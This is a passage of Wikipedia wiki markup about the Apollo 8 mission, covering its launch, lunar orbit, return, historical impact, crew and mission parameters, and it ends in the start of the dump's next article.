However, NASA managers did impose some restrictions on a manned flight taking place: the [[S-II]] second stage had to undergo [[cryogenic]] testing at the [[Mississippi Test Facility]] and other changes were to be made to &quot;man-rate&quot; the vehicle. So on [[April 30]], the Saturn V was unstacked and the [[S-II|S-II second stage]] shipped by barge to the test site. The spark igniters on the second and third stage engines were also modified. In May 1968 a leak was found in a first stage engine, requiring it to be replaced.

With only two launches of the Saturn V under its belt, the ground crew at [[Kennedy Space Center]] (KSC) was having problems keeping to the schedule. The Grumman crew was also having issues with the lunar module. Concern was expressed at the fact so much work had to be done on the lunar module after it had shipped to the Cape. The ascent engine developed leaks that caused redesigns and valve changes.

Then in August 1968, the entire mission changed. SA-503 would launch men to the Moon and would not be carrying a lunar module, instead carrying a mass equivalent, called a lunar module test article (LTA), similar to ones used for ''[[Apollo 4]]'' and ''[[Apollo 6]]''. In order to speed up the pre-launch preparations, much of the modification of the Saturn V was taken out of the hands of KSC and given to appropriate development centers; only changes that affected crew safety were made. 

The ''Apollo 8'' spacecraft was placed on top of the rocket on [[September 21]] and the rocket made the slow 3-mile (5 km) journey to the launch pad on [[9 October]]. Testing continued all through December until the day before launch.

The SA-503 designation stood for Saturn-Apollo, and was used by NASA departments concerned with the launch vehicle. However, departments concerned with the manned flight often used AS-503, standing for Apollo-Saturn; both of these designations were used at the time to refer to the mission as a whole. The -503 number indicated that it was flight number ''3'' (5'''03''') of the Saturn ''V'' ('''5'''03).

==The mission==
===Launch and trans-lunar injection===
[[Image:Ap8-KSC-68PC-329.jpg|thumb|250px|''Apollo 8'' launch. The photo is a [[double exposure]], as the Moon was not visible at the time of launch (NASA)]]
''Apollo 8'' launched at 7:51:00 a.m. [[Eastern Standard Time Zone|Eastern Standard Time]] on [[December 21]], [[1968]]. The entire launch phase was practically flawless with only minor problems. The [[S-IC|S-IC first stage]]'s engines underperformed by 0.75%, causing the engines to burn for 2.45 seconds longer than planned. Towards the end of the second stage burn, the rocket underwent [[pogo oscillation]]s that Frank Borman estimated were of the order of 12 [[Hertz|Hz]] and about ±0.25 [[gee|g]] (±2.5 m/s&amp;sup2;). The first manned Saturn V placed the spacecraft into a 112.8 mi by 118.9 mi (181.5 km by 191.3 km) Earth orbit with a period of 88 minutes and 10 seconds. The [[apogee]] was also slightly higher than intended, with a planned circular orbit of 115 mi (185 km). The S-IC impacted the Atlantic Ocean at {{coor dm|30|12|N|74|7|W|}} and the S-II at {{coor dm|31|50|N|37|17|W|}}.
{{listen|filename=Apollo 8 liftoff.ogg|title=Launch of Apollo 8|description=Air-to-ground transmissions from T-15 seconds to T+3 minutes|format=[[Ogg]]}}

For the next 2 hours and 38 minutes the crew and Mission Control worked to check that the spacecraft was in working in order and ready for Trans-Lunar Injection (TLI), the burn that would put the spacecraft on a trajectory to the Moon. At the same time the crew transformed the capsule from a rocket payload to a spacecraft. And the [[S-IVB]] third stage had to be in working order. On the previous unmanned test, the S-IVB had failed to re-ignite. 

During the flight there would be three [[capsule communicator]]s (usually referred to as &quot;capcoms&quot;) on a rotating roster. These were the only people who would normally communicate with the crew. [[Michael Collins (astronaut)|Michael Collins]] was the first of these on duty and at 2 hours, 27 minutes and 22 seconds after launch radioed &quot;''Apollo 8''. You are Go for TLI&quot;. Mission Control had given official permission for the crew to go to the moon. Over the next twelve minutes before the burn, the crew continued to monitor the spacecraft and the rocket. The [[S-IVB|S-IVB third stage]] rocket ignited on time and burned perfectly for 5 minutes and 17 seconds. The burn increased the velocity of the spacecraft to 35,505 ft/s (10,822 m/s) and their altitude at the end of the burn was 215.4 mi (346.7 km). They were the fastest humans in history.
{{listen|filename=Apollo 8 go for TLI.ogg|title=Go for TLI|description=Capsule communicator Michael Collins gives the crew of ''Apollo 8'' a 'go' for Trans-Lunar Injection|format=[[Ogg]]}}

Now that the S-IVB had performed its required tasks it was jettisoned. The crew then rotated the spacecraft to take some photographs of the spent stage, as well as practiced flying in formation with it. As the crew rotated the spacecraft around they had their first views of the Earth as they moved away from it. This was the first time humans had been able to see the entire Earth in one go. 

Borman became worried that the S-IVB was staying too close to the CSM and suggested to Mission Control that the crew perform a separation maneuver. Mission Control at first suggested pointing the spacecraft towards Earth and using the Reaction Control System (RCS) thrusters on the Service Module to add 3 ft/s (0.9 m/s) away from the Earth, but Borman did not want to lose sight of the S-IVB. After much discussion it was decided to burn in this direction anyway but at 9 ft/s (2.7 m/s). These discussions ended up putting the crew an hour behind their flight plan.

Five hours after launch, mission control commanded the S-IVB booster to vent its remaining fuel through its engine bell to change its trajectory such that it would flyby the Moon and enter into a solar orbit, so as to pose no future hazard to the crew. It went into a 0.99 by 0.92 [[Astronomical Unit|AU]] solar orbit with an [[inclination]] of 23.47° and a period of 340.80 days.

The members of the ''Apollo 8'' crew were the first humans to pass through the [[Van Allen radiation belt]]s, which extend up to 15,000 mi (25,000 km) from Earth. Although it was predicted that the passage through the belts would cause a radiation dosage of no more than a chest [[X-ray]] or 1 [[Gray (unit)|milligray]] (during the course of a year, the average human receives a dose of 2 to 3 mGy), there was still interest in the radiation dosages on the crew. So each crewmember wore a Personal Radiation [[Dosimeter]] that could be read back to the ground as well as three passive film dosimeters that show the cumulative radiation experienced by the crew. By the end of the mission, the average radiation dose of the crew was 1.6 mGy.

===Coasting to the Moon===
[[Image:As08-16-2593.jpg|thumb|250px|One of the first images taken by humans of the whole Earth. Probably photographed by [[Bill Anders]]. South is up with [[South America]] in the middle]]
Jim Lovell's main job as Command Module Pilot was to act as [[navigator]]. Although Mission Control performed all the actual navigation calculation, it was necessary that in case of communication loss the crew could navigate their way home. This was done by star sightings using a [[sextant]] built into the spacecraft, measuring the angle between a star and the Earth's (or the Moon's) [[horizon]]. This proved to be difficult, as the venting by the S-IVB had caused a large cloud of debris to form around the spacecraft, making it hard to distinguish what were the actual stars. 

By seven hours into the mission, the delay in moving away from the S-IVB and Lovell's star sightings meant that they were behind schedule on the flight plan by about one hour and 40 minutes. The crew now placed the spacecraft into Passive Thermal Control (PTC), or what is more aptly called [[barbecue]] mode. This had the spacecraft roll about one rotation per hour, along its long axis in order to ensure even [[heat distribution]] of the spacecraft. In direct sunlight, the spacecraft could be heated to over 200 °C while the parts in shadow would be -100 °C. These temperatures could cause the [[heat shield]] to crack or propellant lines to burst. As it was impossible to get a perfect roll, the spacecraft actually swept out a [[Conical surface|cone]] as it rotated. This would have to be trimmed every half hour as it started to get larger and larger.

The first mid-course correction came 11 hours into the flight. Testing on the ground had shown there was a small chance that the [[Service Propulsion System]] (SPS) engine would explode when burned for long periods unless its [[combustion chamber]] was 'coated' first. This could be done by burning the engine for a short period. This first correction burn was only 2.4 seconds and added about 20.4 ft/s (6.2 m/s) [[Prograde and retrograde motion|prograde]] (in the direction of travel). This was less than the 24.8 ft/s (7.5 m/s) planned, and the shortfall was due to a bubble of [[helium]] in the [[redox|oxidizer]] lines causing lower than expected fuel pressure, requiring the crew to use the small Reaction Control System (RCS) thrusters to make up the shortfall. Two later planned midcourse corrections were cancelled as the trajectory was found to be perfect.

Eleven hours into the flight, the crew had been awake for over 16 hours, having been awakened about 5 hours before launch. So it was time for Frank Borman to start his scheduled 7-hour sleep period. It proved difficult to sleep. NASA had decided that at least one crewmember should be awake at all times to deal with any issues that might arise. But the constant radio chatter with the ground and the air circulation fans made it hard to sleep. As well as this, sleeping in space is a somewhat unnatural experience—you cannot rest your head on a [[pillow]] and Bill Anders said that he would suddenly jolt awake with the sensation that he was falling. 

[[Image:As8-16-2583.jpg|thumb|250px|''Apollo 8'' [[S-IVB]] rocket stage. (NASA)]]
About an hour after starting his sleep period, Borman requested clearance to take a [[Secobarbitol|Seconal]] [[Barbiturate|sleeping pill]], but the pill had little effect. After Borman slept for seven hours fitfully, he awoke feeling ill. He [[vomiting|vomited]] twice, and had a bout of [[diarrhea]] that left the spacecraft full of small globules of vomit and [[feces]]. The crew cleaned up as best as they could. Borman decided that he did not want the world to know about his medical problems but Lovell and Anders still wanted to tell the ground. They decided to use the Data Storage Equipment (DSE), which could be used by the crew to [[tape recorder|tape voice recordings]] and telemetry, which were then dumped to the ground at high speed. After recording a description of Borman's illness they requested that mission control check the recording, as the crew ''&quot;would like an evaluation of the voice comments&quot;''. 

A conference between the crew and medical personnel was held using the unoccupied second floor control room (there were two identical control rooms in Houston on the second and third floor, of which only one is used during the course of a mission). During a private communication with the crew, it was decided that there was little to worry about and that it was either a [[Gastroenteritis|24-hour flu]] as Borman thought, or just a reaction to the sleeping pill. In fact it is now thought that he was suffering from [[Space Adaptation Syndrome]], which affects about a third of astronauts during their first day in space as their [[Labyrinth (inner ear)|vestibular system]] adapts to [[weightlessness]]. It had never arisen on previous spacecraft ([[Project Mercury|Mercury]] and [[Project Gemini|Gemini]]) as they had been too small to move freely in.

[[Image:Ap8-S68-56531.jpg|thumb|left|250px|In-flight footage of the crew taken while they were in orbit around the Moon. In the center is Frank Borman]]
The cruise phase was a relatively uneventful part of the flight, with little happening except for the crew checking that the spacecraft was in working order and they were on course. During this time, NASA scheduled a television broadcast for 31 hours after launch. The camera used was 2 kg and broadcast in [[black-and-white]] only, using a [[Video camera tube|Vidicon]] tube. It had two [[lens (optics)|lens]]es: a very [[wide-angle]] (160°) lens and a [[telephoto]] (9°) lens. 

During this first broadcast the crew gave a tour of the spacecraft and attempted to show how the Earth appeared. However this proved impossible, as the narrow-angle lens was difficult to aim without the aid of a monitor to show what it was looking at. Also without proper [[filter (optics)|filter]]s, the image became saturated by any bright source. In the end all the crew could do was show the people watching back on Earth a bright blob. After broadcasting for 17 minutes the rotation of the spacecraft took the [[High Gain Antenna]] out of view of the receiving stations on Earth and they ended the transmission with Lovell wishing his mother happy birthday.
{{listen|filename=Apollo 8 Borman describing the Earth.ogg|title=Borman described the Earth|description=Frank Borman describes view of Earth from midway to Moon|format=[[Ogg]]}}

By this time the planned sleep periods had completely been abandoned. 32½ hours into the flight, Lovell went to bed, 3½ hours before he had planned to. A short while later Anders also went to bed after taking a sleeping pill. 

Somewhat strangely the crew were unable to see the [[Moon]] for much of the outward cruise. Three of the five windows had fogged up, due to outgassed oils from the [[silicone]] [[sealant]], and due to the attitude required for the PTC, the Moon was almost impossible to see from inside the spacecraft. In fact it was not until the crew had gone behind the Moon that they would be able to see it for the first time.

A second television broadcast came at 55 hours. This time the crew had managed to rig up [[filter (optics)|filter]]s meant for the still cameras, so that they could acquire images of the Earth through the [[telephoto]] lens. Although difficult to aim, as they had to maneuver the entire spacecraft, the crew was able to broadcast back to Earth the first [[television]] pictures of the Earth. The crew spent the transmission describing the Earth and what was visible and the colors that could be seen. The transmission lasted 23 minutes.
{{listen|filename=Apollo 8 Lovell describing the Earth.ogg|title=Lovell describes the Earth|description=Jim Lovell describes view of Earth from 200,000 miles out|format=[[Ogg]]}}

===Lunar sphere of influence===
At about 55 hours and 40 minutes into the flight, the crew of ''Apollo 8'' became the first humans to enter the gravitational sphere of influence of another celestial body. Or to put it another way, the Moon's [[gravitational force]] became stronger than that of the Earth. At the time it happened, they were 38,759 mi (62,377 km) from the Moon and had a speed of 3,990 ft/s (1,216 m/s) with respect to the Moon. This historic moment was of little interest to the crew as they still calculated their [[trajectory]] with respect to the launch pad at Kennedy Space Center and would do so until they performed their last midcourse correction, when they would switch to a [[reference frame]] based on ideal orientation for the second engine burn they would make in lunar orbit. It was only thirteen hours until they would be in lunar orbit.

The last major event before Lunar Orbit Insertion was a second midcourse correction. It was in [[Prograde and retrograde motion|retrograde]] (against direction of travel) and slowed the spacecraft down by 2.0 ft/s (0.6 m/s), in effect lowering the closest distance that the spacecraft would pass the moon. At exactly 61 hours after launch, about 24,200 mi (39,000 km) from the Moon, the crew burned the RCS for 11 seconds. They would now pass 71.7 mi (115.4 km) from the lunar surface.

At 64 hours into the flight, the crew began to prepare for Lunar Orbit Insertion-1 (LOI-1). This maneuver had to be performed perfectly, and due to [[Astrodynamics|orbital mechanics]] had to be on the far side of the Moon, out of contact with the Earth. After Mission Control was polled for a Go/No Go decision, the crew was told at 68 hours, they were Go and ''&quot;riding the best bird we can find&quot;''. At 68 hours and 58 minutes, the spacecraft went behind the Moon and out of radio contact with the Earth.
{{listen|filename=Apollo 8 prior to LOI.ogg|title=''Apollo 8'' goes behind the Moon|description=The last transmissions from the spacecraft before it goes behind the Moon|format=[[Ogg]]}}

With ten minutes before the LOI-1, the crew began one last check of the spacecraft systems and made sure that every switch was in the correct place. Then they finally got their first glimpses of the Moon. They had been flying over the unlit side, and it was Lovell who saw the first shafts of sunlight [[oblique]]ly illuminating the lunar surface. But the burn was only two minutes away so the crew had little time to appreciate the view. 

===Lunar orbit===
Igniting at 69 hours, 8 minutes and 16 seconds after launch, the SPS burned for 4 minutes and 13 seconds, placing the crew of ''Apollo 8'' in orbit around the Moon. The crew described this as being the longest four minutes of their lives. If the burn had not lasted exactly the right amount of time, the spacecraft could have ended up in a highly [[ellipse|elliptical]] lunar [[orbit]] or even flung off into space. If it lasted too long they could have ended up impacting the Moon. After making sure the spacecraft was working, they finally had a chance to look at the Moon, which they would orbit for the next 20 hours.

[[Image:AS8-13-2329.jpg|thumb|250px|The first Earthrise photographed by humans]]
On Earth, Mission Control continued to wait. If the crew had not burned the engine or the burn had not lasted the planned length of time the crew would appear early from behind the Moon. However this time came and went without ''Apollo 8'' reappearing. And then exactly at the predicted moment, the signal was received from the spacecraft indicating it was in a 193.3 mi by 69.5 mi (311.1 km by 111.9 km) orbit about the Moon.
{{listen|filename=Apollo 8 first lunar orbit transmissions.ogg|title=''Apollo 8'' appears from behind the Moon|description=First transmissions from ''Apollo 8'' after it has entered into lunar orbit|format=[[Ogg]]}}

After reporting on the status of the spacecraft, Lovell gave the first description of what the lunar surface looked like:

:The Moon is essentially grey, no color; looks like [[plaster of Paris]] or sort of a grayish beach sand. We can see quite a bit of detail. The [[Mare Fecunditatis|Sea of Fertility]] doesn't stand out as well here as it does back on Earth. There's not as much contrast between that and the surrounding craters. The craters are all rounded off. There's quite a few of them, some of them are newer. Many of them look like—especially the round ones—look like hit by [[meteorite]]s or projectiles of some sort. [[Langrenus (crater)|Langrenus]] is quite a huge crater; it's got a central cone to it. The walls of the crater are terraced, about six or seven different [[wiktionary:terrace|terrace]]s on the way down.

Lovell continued to describe the terrain that they were passing over. One of the crew's major tasks was [[reconnaissance]] of the planned landing sites on the Moon, especially one in [[Mare Tranquillitatis]] that would be the ''[[Apollo 11]]'' landing site. The launch time of ''Apollo 8'' had been chosen to give the best lighting conditions for the site. A [[film camera]] had been set up in one of the windows to record a frame every second of the Moon below. And Bill Anders would spend much of the next 20 hours taking as many photographs as he could of targets of interest. By the end of the mission the crew would take 700 photographs of the Moon and 150 of the Earth. 

[[Image:As8-13-2225.jpg|thumb|left|250px|A portion of the lunar near side. The large crater in the bottom half of the photo is [[Goclenius (crater)|Goclenius]].]]
Throughout the hour that the spacecraft was in contact with the Earth, Borman kept asking how the data for the SPS looked. He wanted to make sure that the engine was working and could be used to return early to the Earth if necessary. He also asked that they receive a Go/No Go decision before they passed behind the Moon on each orbit.

As they reappeared for their second pass in front of the Moon, the crew set up the television to broadcast a view of the lunar surface. Anders described the craters that they were passing over. At the end of this second orbit they performed the eleven-second LOI-2 burn of the SPS to circularize the orbit to 70.0 mi by 71.3 mi (112.6 km by 114.8 km).

Over the next two orbits the crew continued to keep check of the spacecraft and to observe and photograph the Moon. During the third pass, Borman read a small [[prayer]] for his [[church]], as he was meant to lay read during the [[Midnight service]] at St. Christopher's [[Episcopal Church in the United States of America|Episcopal]] Church near [[Seabrook, Texas]] but due to the Apollo 8 flight was unable. A fellow parishioner and engineer at Mission Control, Rod Rose, suggested that Borman read the prayer which could be recorded and then replayed during the service.

It was as the spacecraft came out from behind the Moon for its fourth pass across the front that the crew witnessed an event never before seen—Earthrise. Anders glanced out the window and saw a blue and white orb and realized it was the [[Earth]]. Instantly the crew understood that they needed to take a photograph of this. Anders took both the first photograph, which was black-and-white, and then later the more famous color photo. (After the flight, Borman and Anders both claimed they took the first earthrise photo (Lovell also did, but more as a joke than anything else) - it was determined that it was probably Anders.)

[[Image:NASA-Apollo8-Dec24-Earthrise.jpg|thumb|250px|Earth as seen from ''Apollo 8'', December 24, 1968 (NASA)]]
Anders continued to take photographs while Lovell took the controls of the spacecraft so that Borman could get some rest. As always resting was difficult in the cramped and noisy capsule, though Borman was able to [[doze]] for two orbits. He would awaken at times to ask a question about their status, only to be told that everything was going fine. 

Borman did wake up however when he started to hear his fellow crewmembers make mistakes. They were beginning to not understand questions and would have to ask for the answers to be repeated. Borman realized that everyone was extremely tired having not had a good night's sleep in over three days. Taking command, he ordered Anders and Lovell to get some sleep and that the rest of the flight plan regarding observing the Moon be scrubbed. At first Anders protested saying that he was fine, but Borman would not be swayed. At last Anders agreed as long as the commander would set up the camera to continue to take automatic shots of the Moon. Borman also remembered that there was a second television broadcast planned, and with so many people expected to be watching he wanted to crew to be alert. For the next two orbits Anders and Lovell slept while Borman sat at the helm.

As they rounded the Moon for the ninth time, the second television transmission began. Borman introduced the crew, followed by each man giving his impression of the lunar surface and what it was like to be orbiting the Moon. Borman described it as being ''&quot;a vast, lonely, forbidding type of existence or expanse of nothing&quot;''. And then after talking about what they were flying over, Anders said that the crew had a message for all those on Earth. 
{{listen|filename=Apollo 8 describing the Moon.ogg|title=''Apollo 8'''s describing the Moon|description=The ''Apollo 8'' crew talk about the Moon and their impressions of it|format=[[Ogg]]}}
{{listen|filename=Apollo 8 genesis reading.ogg|title=The crew of ''Apollo 8'' reading Genesis and wishing Merry Christmas|description=Each man reading a section of [[Genesis (Old Testament)|Genesis]] 1:1-10, the story of [[Creation (theology)|creation]]. Borman closes with: &quot;And from the crew of ''Apollo 8'', we close with, Good night, Good luck, a Merry Christmas, and God bless all of you, all of you on the good Earth&quot;|format=[[Ogg]]}}

The only thing left for the crew now was to perform the Trans-Earth Injection or TEI, which would occur 2½ hours after the end of the television transmission. This was the most critical burn of the whole flight. If the SPS failed to ignite, then the crew would be stuck in orbit around the Moon, with only about 5 more days of oxygen and no chance of escape. And once again the burn had to be performed while the crew was out of contact with Earth, on the far side of the Moon. 

The burn occurred perfectly on time. The spacecraft telemetry was reacquired as it re-emerged from behind the Moon at 89 hours, 28 minutes, and 39 seconds, the exact time predicted. When voice contact was regained, Lovell announced, &quot;Please be informed, there is a [[Santa Claus]]&quot;, to which [[Ken Mattingly]], the capcom, replied, &quot;That's affirmative, You are the best ones to know&quot;. It was [[Christmas Day]], 1968.
{{listen|filename=Apollo 8 on the way home.ogg|title=There is a Santa Claus|description=''Apollo 8'' appears from behind the Moon after its successful SPS engine burn|format=[[Ogg]]}}

[[Image:AS8-13-2344.jpg|thumb|250px|Rupes Cauchy in eastern Mare Tranquillitatis]]

===Unplanned manual re-alignment===
Later, Lovell used some otherwise idle time to do some navigational sightings, maneuvering the module to view various stars by using the computer keyboard. However, an accidental entry erased some of the computer's memory, which caused the inertial measuring unit (IMU) to think the module was in the same relative position it had been in before lift-off and fire the thrusters to &quot;correct&quot; the module's attitude.

Once the crew realized why the computer had changed the module's attitude, they realized they would have to re-enter data that would tell the computer its real position. It took Lovell ten minutes to figure out the right numbers, using the thrusters to get the stars [[Rigel]] and [[Sirius]] aligned, and another fifteen minutes to enter the corrected data into the computer.

Sixteen months later, Lovell would once again have to perform a similar manual re-alignment, under more critical conditions, during the ''[[Apollo 13]]'' mission, after that module's IMU had to be turned off to conserve energy. In his 1994 book, ''Lost Moon: The Perilous Voyage of Apollo 13'' (later re-titled ''Apollo 13'' when the movie based on it, ''[[Apollo 13 (film)|Apollo 13]]'' came out), Lovell wrote, &quot;My training [on Apollo 8] came in handy!&quot; In that book he dismissed the incident as a 'planned experiment', requested by the ground crew. However, in subsequent interviews Lovell has acknowledged that the incident was an accident, caused by his mistake, as described in [[Robert Zimmerman (author)|Robert Zimmerman]]'s 1998 book ''Genesis: The Story of Apollo 8''.

===Cruise back to Earth and re-entry===
The cruise back to Earth was mostly a time for the crew to relax and monitor the spacecraft. As long as the trajectory specialists had calculated everything correctly, the spacecraft would re-enter 2½ days after TEI and [[splashdown]] in the Pacific. 

On Christmas afternoon, the crew made their fifth and final television broadcast. This time they gave a tour of the spacecraft, showing how an astronaut lived in space. When they had finished broadcasting they found a small present from Deke Slayton in the food locker—real [[domesticated turkey|turkey]] with [[stuffing]] and three miniature bottles of [[brandy]] (which remained unopened). There were also small presents to the crew from their wives.

[[Image:Ap8-S68-56310.jpg|thumb|250px|The ''Apollo 8'' Command Module on the deck of the [[USS Yorktown (CV-10)|USS ''Yorktown'']].]]
After two uneventful days the crew prepared for re-entry. The computer would control the re-entry and all the crew had to do was put the spacecraft in the correct attitude, blunt end forward. If the computer broke down, Borman would take over.

After separating from the Service Module, all the crew could do was sit and wait. Six minutes before they hit the top of the atmosphere, the crew saw the Moon rising above the Earth's horizon, just as had been predicted by the trajectory specialists. As they hit the thin outer atmosphere they noticed it was becoming hazy outside as glowing [[Plasma physics|plasma]] formed around the capsule. The capsule started slowing down and the deceleration peaked at 6 g (59 m/s&amp;sup2;). With the computer controlling the descent by changing the [[Aircraft attitude|attitude]] of the capsule, ''Apollo 8'' rose briefly like a skipping stone before descending to the ocean. At 30,000 feet (9 km) the drogue parachute stabilized the spacecraft and was followed at 10,000 feet (3 km) by the three main parachutes. The spacecraft splashdown position was estimated to be {{coor dm|8|6|N|165|1|W|}}.

When it hit the water, the parachutes dragged the spacecraft over and left it upside down, in what was termed Stable 2 position. As they were buffeted by a 10-foot (3 m) swell, Borman was sick, waiting for the three floatation balloons to right the capsule. It was 43 minutes after splashdown before the first [[frogman]] from the [[USS Yorktown (CV-10)|USS ''Yorktown'']] arrived, as the capsule had landed before sunrise. Forty-five minutes later they were on the deck of the aircraft carrier. 

The command module is now displayed at the [[Chicago, Illinois|Chicago]] [[Museum of Science and Industry in Chicago|Museum of Science and Industry]], along with a collection of personal items from the flight donated by Lovell and Frank Borman's spacesuit. Jim Lovell's spacesuit can be found at NASA's [[Glenn Research Center]].

==Historical importance==
''Apollo 8'' came at the end of 1968, a year that had seen much upheaval around the world. [[Soviet Union|Soviet]] tanks had put a stop to the [[Prague Spring]] in [[Czechoslovakia]]; [[Martin Luther King, Jr.]] and [[Robert F. Kennedy]] had been assassinated; the [[Vietnam War]] had escalated with the [[Tet Offensive]]; University campuses across the [[United States]] had seen rioting and occupation of buildings by students; [[May 1968|May]] had seen rioting in [[Paris]] that almost led to revolution.

Yet over all these other events, [[TIME|TIME magazine]] chose the crew of ''Apollo 8'' as their [[Person of the Year|Men of the Year]] for 1968, recognizing them as the people that most influenced events in the preceding year. They had been the first people to ever leave the gravitational influence of the Earth and orbit another celestial body. They had survived a mission that even the crew themselves had rated as only having a fifty-fifty chance of fully succeeding. The effect of ''Apollo 8'' can be summed up by a [[Telegraphy|telegram]] from a stranger, received by Borman after the mission, that simply stated, &quot;Thank you ''Apollo 8''. You saved 1968.&quot;

[[Image:January 3, 1969 Time Magazine Cover.jpg|thumb|[[January 3]], [[1969]] cover of [[TIME|TIME Magazine]] with the Apollo 8 crew]]
One of the most famous aspects of the flight was the Earthrise picture that was taken as they came around for their fourth orbit of the Moon. Although it was not the first image taken of the whole Earth nor would it be the last, this was the first time that humans had taken such a picture. Some regard the picture as being the start of the [[Environmentalism|environmentalist]] movement, with the first [[Earth Day]] in 1970.[http://ipp.nasa.gov/innovation/Innovation_84/wnewview.html]

The mission was the most widely covered by the media since the first American orbital flight, [[Mercury Atlas 6]] by [[John Glenn]] in 1962. There were 1200 journalists covering the mission, with the [[BBC]] coverage being broadcast in 54 countries in 15 different languages. The Soviet newspaper ''[[Pravda]]'' even covered the flight without the usual anti-American editorializing. It is estimated that a quarter of the people alive at the time saw — either live or delayed — the Christmas Eve transmission during the ninth orbit of the Moon; it had a tremendous impact. Touring the world after the mission, Borman met with [[Pope Paul VI]]; he was told &quot;I have spent my entire life trying to say to the world what you did on Christmas Eve.&quot;

The militant [[atheist]] [[Madalyn Murray O'Hair]] later caused controversy by bringing a lawsuit against NASA over the reading from ''Genesis''; she wished the courts to ban US astronauts—who were all Government employees—from public prayer in space. This was eventually rejected by the courts, but it caused NASA to be skittish about the issue of religion throughout the rest of the Apollo program. [[Buzz Aldrin]], on ''[[Apollo 11]]'', took [[Eucharist|communion]] on the surface of the moon after landing; he refrained from mentioning this publicly for several years, and only obliquely referred to it at the time.

==Crew==
*[[Frank Borman]] (flew on ''[[Gemini 7]]'' &amp; ''Apollo 8''), commander
*[[Jim Lovell|James Lovell]] (flew on ''[[Gemini 7]]'', ''[[Gemini 12]]'', ''Apollo 8'' &amp; ''[[Apollo 13]]''), command module pilot
*[[William Anders]] (flew on ''Apollo 8''), lunar module pilot

As a note, astronaut [[Michael Collins]], who flew aboard the [[Gemini 10]] mission, was originally slated to fly aboard Apollo 8 as Command Module pilot.  A [[bone spur]] in his neck that required surgery grounded Collins, requiring Jim Lovell to fly in Collins' place.  In early 1969, Collins was reinstated to active flight status, and replaced Fred Haise on the Apollo 11 prime crew as Command Module pilot, while Edwin Aldrin became lunar module pilot.  Haise became the backup LM pilot for Apollo 11.

===Backup crew===
The backup crew trained to take the place of the prime crew in case of illness or death.
*[[Neil Armstrong]], (flew on ''[[Gemini 8]]'', ''[[Apollo 11]]''), commander
*[[Edwin E. Aldrin]], (flew on ''[[Gemini 12]]'', ''[[Apollo 11]]''), command module pilot
*[[Fred Haise]], (flew on ''[[Apollo 13]]''), lunar module pilot

===Support crew===
The support crew were not trained to fly the mission but were able to stand in for astronauts in meetings and be involved in the minutiae of mission planning, while the prime and backup crews trained. They often also served as capcoms during the mission.
*[[John S. Bull|John Bull]] (never flew in space)
*[[Vance Brand]] (flew on ''[[Apollo-Soyuz Test Project]]'', ''[[STS-5]]'', ''[[STS-41-B]]'', ''[[STS-35]]''
*[[Gerald Carr]] (flew on ''[[Skylab 4]]'')
*[[Ken Mattingly]] (flew on ''[[Apollo 16]]'', ''[[STS-4]]'', ''[[STS-51-C]]'')

==Mission parameters==
*'''CSM [[Mass]]:''' 63,531 lb (28,817 kg)

===Earth parking orbit===
*'''[[Perigee]]:''' 112.8 mi (181.5 km)
*'''[[Apogee]]:''' 118.9 mi (191.3 km)
*'''[[Inclination]]:''' 32.51°
*'''[[Orbital period|Period]]:''' 88.17 min

===Lunar orbit===
*'''[[Perilune]]:''' 69.5 mi (111.9 km)
*'''[[Apolune]]:''' 193.3 mi (311.1 km)
*'''[[Inclination]]:''' 12°
*'''[[Orbital period|Period]]:''' 128.7 min

===Translunar injection burn===
*[[December 21]], [[1968]], 15:41:38 UTC

The Saturn V, [[S-IVB]] third stage, was fired for a second time. It burned for a total of 318 seconds. ''Apollo 8'' was propelled from an [[Earth]] [[Low Earth orbit|parking orbit]] velocity of 25,567 ft/s (7793 m/s) to a translunar [[trajectory]] [[Escape velocity|velocity]] of 35,505 ft/s (10,822 m/s).

==See also==
{{Commons|Apollo 8}}

*[[Splashdown]]
*[[Project Apollo]]
*[[Space Race]]
*[[List of lunar astronauts]]

==References==
*[http://nssdc.gsfc.nasa.gov/planetary/lunar/apollo8info.html NASA NSSDC Master Catalog]. Retrieved on [[March 10]], [[2005]]
*[http://history.nasa.gov/SP-4029/Apollo_08a_Summary.htm Apollo By The Numbers: A Statistical Reference by Richard W. Orloff (NASA)]. Retrieved on [[March 10]], [[2005]]
*[http://history.nasa.gov/ap08fj/ Apollo 8 Flight Journal]. Retrieved on [[March 10]], [[2005]]
*[http://www.hq.nasa.gov/office/pao/History/SP-4204/ch20-6.html Moonport: A History of Apollo Launch Facilities and Operations]. Retrieved on [[March 10]], [[2005]]
*[http://www.hq.nasa.gov/office/pao/History/SP-4205/ch11-5.html Chariots for Apollo: A History of Manned Lunar Spacecraft]. Retrieved on [[March 10]], [[2005]]
*[http://www.astronautix.com/flights/apollo8.htm Apollo 8] in the [[Encyclopedia Astronautica]].  Retrieved on [[March 10]], [[2005]]
*[http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm The Apollo Spacecraft: A Chronology].  Retrieved on [[March 10]], [[2005]]
*[http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report].  Retrieved on [[March 15]], [[2005]]
*[http://cgi.canoe.ca/SpaceArchive/981221_30.html Astronauts look back 30 years after historic lunar launch]. Retrieved on [[March 19]], [[2005]]
*[http://lsda.jsc.nasa.gov/books/apollo/S2ch3.htm Biomedical Results of Apollo]. Retrieved on [[March 19]], [[2005]]
*Chaikin, Andrew (1994). ''A Man On The Moon: The Voyages of the Apollo Astronauts''. Viking. ISBN 0670814466.
*Zimmerman, Robert (1998). ''Genesis: The Story of Apollo 8''. Four Wall Eight Windows. ISBN 1568581181.
*Collins, Michael (1975). ''Carrying the Fire: An Astronaut's Journeys''. W. H. Allen. ISBN 0491016034.
*Slayton, Donald K.; Cassutt, Michael (1995). ''Deke! : An Autobiography''. Forge Books. ISBN 031285918X.
*Compiled by NASA Manned Spacecraft Center (1969). ''Analysis of Apollo 8 Photography and Visual Observations''. US Government Printing Office. [http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19700005062_1970005062.pdf NASA PDF online version]

{{Project Apollo | before=[[Apollo 7]] | after=[[Apollo 9]]}}

{{featured article}}

[[Category:Apollo program|Apollo 08]]
[[Category:Human spaceflights|Apollo 08]]
[[Category:Lunar spacecraft|Apollo 08]]
[[Category:1968 in the United States]]

[[cs:Apollo 8]]
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[[fi:Apollo 8]]
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[[it:Apollo 8]]
[[he:%D7%90%D7%A4%D7%95%D7%9C%D7%95_8]]
[[hu:Apollo-8]]
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[[pl:Apollo 8]]
[[pt:Apollo 8]]
[[sk:Apollo 8]]
[[zh:阿波罗8号]]</text>
    </revision>
  </page>
  <page>
    <title>Astronaut</title>
    <id>664</id>
    <revision>
